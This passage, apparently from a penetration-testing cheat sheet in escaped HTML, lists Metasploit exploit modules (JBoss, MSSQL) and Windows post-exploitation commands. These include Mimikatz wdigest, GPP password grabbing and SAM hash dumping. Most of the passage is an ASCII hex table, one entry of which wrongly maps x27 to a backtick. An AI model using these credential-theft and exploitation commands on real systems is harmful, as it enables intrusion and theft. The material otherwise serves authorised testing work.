        &lt;p&gt;&lt;code&gt;use exploit/multi/http/jboss_maindeployer&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Metasploit JBOSS deploy&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;use exploit/windows/mssql/mssql_payload&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Metasploit MSSQL payload&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;post-exploit-windows-metasploit-modules&quot;&gt;Post Exploit Windows Metasploit Modules&lt;/h3&gt;

&lt;p&gt;Windows Metasploit Modules for privilege escalation.&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;run post/windows/gather/win_privs&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Metasploit show privileges of current user&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;use post/windows/gather/credentials/gpp&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Metasploit grab GPP saved passwords&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;load mimikatz -&amp;gt; wdigest&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
            &lt;p&gt;Metasplit load Mimikatz&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;run post/windows/gather/local_admin_search_enum&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;Idenitfy other machines that the supplied domain user has administrative access to&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

        &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;run post/windows/gather/smart_hashdump&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;Automated dumping of sam file, tries to esc privileges etc&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;



  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;ascii-table-cheat-sheet&quot;&gt;ASCII Table Cheat Sheet&lt;/h2&gt;

&lt;p&gt;Useful for Web Application Penetration Testing, or if you get stranded on Mars and need to communicate with NASA.&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;ASCII&lt;/th&gt;
      &lt;th&gt;Character&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;x00&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;Null Byte&lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

   &lt;tr&gt;
    &lt;td&gt;
      &lt;p&gt;&lt;code&gt;x08&lt;/code&gt;&lt;/p&gt;
    &lt;/td&gt;
    &lt;td&gt;
      &lt;p&gt;BS&lt;/p&gt;
    &lt;/td&gt;
  &lt;/tr&gt;

  &lt;tr&gt;
   &lt;td&gt;
     &lt;p&gt;&lt;code&gt;x09&lt;/code&gt;&lt;/p&gt;
   &lt;/td&gt;
   &lt;td&gt;
     &lt;p&gt;TAB&lt;/p&gt;
   &lt;/td&gt;
 &lt;/tr&gt;

 &lt;tr&gt;
  &lt;td&gt;
    &lt;p&gt;&lt;code&gt;x0a&lt;/code&gt;&lt;/p&gt;
  &lt;/td&gt;
  &lt;td&gt;
    &lt;p&gt;LF&lt;/p&gt;
  &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x0d&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;CR&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x1b&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;ESC&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x20&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;SPC&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x21&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;!&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x22&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;&quot;&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x23&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;#&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x24&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;$&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x25&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;%&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x26&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;&amp;amp;&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x27&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;`&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x28&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;(&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x29&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;)&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x2a&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;*&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x2b&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;+&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x2c&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;,&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x2d&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;-&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x2e&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;.&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x2f&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;/&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x30&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;0&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x31&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;1&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x32&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;2&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x33&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;3&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x34&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;4&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x35&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;5&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x36&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;6&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x37&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;7&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x38&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;8&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x39&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;9&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x3a&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;:&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x3b&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;;&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x3c&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;&amp;lt;&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x3d&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;=&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x3e&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;&amp;gt;&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x3f&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;?&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x40&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;@&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x41&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;A&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x42&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;B&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x43&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;C&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x44&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;D&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x45&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;E&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x46&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;F&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x47&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;G&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x48&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;H&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x49&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;I&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x4a&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;J&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x4b&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;K&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x4c&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;L&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x4d&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;M&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x4e&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;N&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x4f&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;O&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x50&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;P&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x51&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;Q&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x52&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;R&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x53&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;S&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x54&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;T&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x55&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;U&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x56&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;V&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x57&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;W&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x58&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;X&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x59&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;Y&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x5a&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;Z&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x5b&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;[&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x5c&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;\&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x5d&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;]&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x5e&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;^&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x5f&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;_&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x60&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;`&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x61&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;a&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x62&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;b&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x63&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;c&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x64&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;d&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x65&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;e&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x66&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;f&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x67&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;g&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x68&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;h&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x69&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;i&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x6a&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;j&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x6b&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;k&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x6c&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;l&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;


&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x6d&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;m&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x6e&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;n&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x6f&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;o&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x70&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;p&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x71&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;q&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x72&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;r&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x73&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;s&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x74&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;t&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x75&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;u&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x76&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;v&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x77&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;w&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x78&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;x&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x79&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;y&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
 &lt;td&gt;
   &lt;p&gt;&lt;code&gt;x7a&lt;/code&gt;&lt;/p&gt;
 &lt;/td&gt;
 &lt;td&gt;
   &lt;p&gt;z&lt;/p&gt;
 &lt;/td&gt;
&lt;/tr&gt;

  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;cisco-ios-commands&quot;&gt;CISCO IOS Commands&lt;/h2&gt;

&lt;p&gt;A collection of useful Cisco IOS commands.&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;
